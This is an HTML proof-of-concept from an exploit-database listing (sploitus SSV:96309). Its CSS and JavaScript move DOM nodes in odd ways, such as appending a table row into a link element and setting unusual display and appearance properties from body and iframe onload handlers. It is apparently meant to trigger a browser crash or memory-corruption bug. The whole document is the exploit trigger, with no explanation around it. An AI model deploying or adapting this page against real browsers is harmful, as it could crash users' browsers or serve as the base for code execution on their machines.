## https://sploitus.com/exploit?id=SSV:96309
<style>
#link { text-transform: lowercase; }
link::first-letter { border-spacing: 1em; }
</style>
<script>
function go() {
dt.appendChild(link);
var s = link.style;
s.setProperty("display", "table-column-group");
s.setProperty("-webkit-appearance", "menulist-button");
}
function eventhandler() {
dir.setAttribute("aria-labeledby", "meta");
link.appendChild(table.rows[0]);
}
</script>
<body onload=go()>
<link id="link">
<meta id="meta">
<dir id="dir">
<table id="table">
<th>1</th>
<dt id="dt">
<iframe onload="eventhandler()"></iframe>